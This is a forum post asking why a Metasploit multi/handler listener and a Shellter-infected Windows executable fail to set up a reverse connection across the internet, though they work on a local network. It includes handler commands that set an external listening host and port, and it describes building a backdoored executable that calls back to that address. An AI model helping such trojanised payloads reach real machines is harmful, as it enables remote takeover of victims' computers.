Two Issues with Metasploit and External IP

I am having some issues that I can't seem to solve.

2 Laptops - One running Kali though bootable USB. The other Windows 8.1

2 Networks. I have Kali running on my home network and Windows 8.1 running on my Mobile hotspot.

I have tried Metasploit and Armitage with the same issue.

Example external IP: 123.123.123.123

Private Local IP of Kali: 192.168.0.72

Home network has 6996 port forwarded for Kali

Exploit/multi/handler

set lhost 123.123.123.123

set lport 6996

..... other commands.

exploit -j

Exploit running as background job. Started reverse handler on 192.168.0.72:6996 (This is one of my issues. I set the lhost to the external, not internal)

So I do jobs -K

re-type set lhost 123.123.123.123

exploit -j

Handler failed to find to 123.123.123.123:6996

started reverse handler on 0.0.0.0:6996

starting the payload handler...

(This is what I normally get when I do this and it worked just fine in the past.)

Issue number 2 is: Go to my Windows 8.1 laptop. Run Shellter to create an infected executable. Set lhost 123.123.123.123 set lport 6996.

After it's created and I run it, it will not connect.

If I create a file with shellter with the lhost as the local IP 192.168.0.72 and set metasploit to listen on that and put both laptops on the same network it works just fine.

I have tried it will Metasploit not updated and with it updated. I have tried different versions of Shellter with the same result. I believe issue one is causing issue 2.

Any ideas?
